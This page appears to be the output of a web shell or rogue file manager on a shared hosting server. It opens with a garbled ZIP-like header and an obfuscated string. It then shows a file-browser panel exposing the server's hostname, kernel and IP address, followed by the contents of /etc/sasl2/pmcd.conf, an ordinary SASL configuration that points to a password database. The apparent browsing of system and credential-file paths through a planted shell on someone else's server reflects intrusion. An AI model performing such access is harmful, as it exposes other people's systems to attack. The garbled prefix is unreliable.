PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /etc/sasl2/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //etc/sasl2/pmcd.conf

# Enabled authentication mechanisms (space-separated list).
# You can list many mechanisms at once, then the user can choose
# by adding e.g. '?authmech=gssapi' to their host specification.
# For other options, refer to SASL pluginviewer command output.
#mech_list: plain login scram-sha-256 gssapi
mech_list: plain login scram-sha-256

# If deferring to the SASL auth daemon (runs as root, can do PAM
# login using regular user accounts, unprivileged daemons cannot).
#pwcheck_method: saslauthd

# If using plain/scram-sha-* for user database, this sets the file
# containing the passwords.  Use 'saslpasswd2 -a pmcd [username]'
# to add entries and 'sasldblistusers2 -f $sasldb_path' to browse.
# Note: must be readable as the PCP daemons user (chown root:pcp).
sasldb_path: /etc/pcp/passwd.db

# Before using Kerberos via GSSAPI, you need a service principal on
# the KDC server for pmcd, and that to be exported to the keytab.
#keytab: /etc/pcp/krb5.tab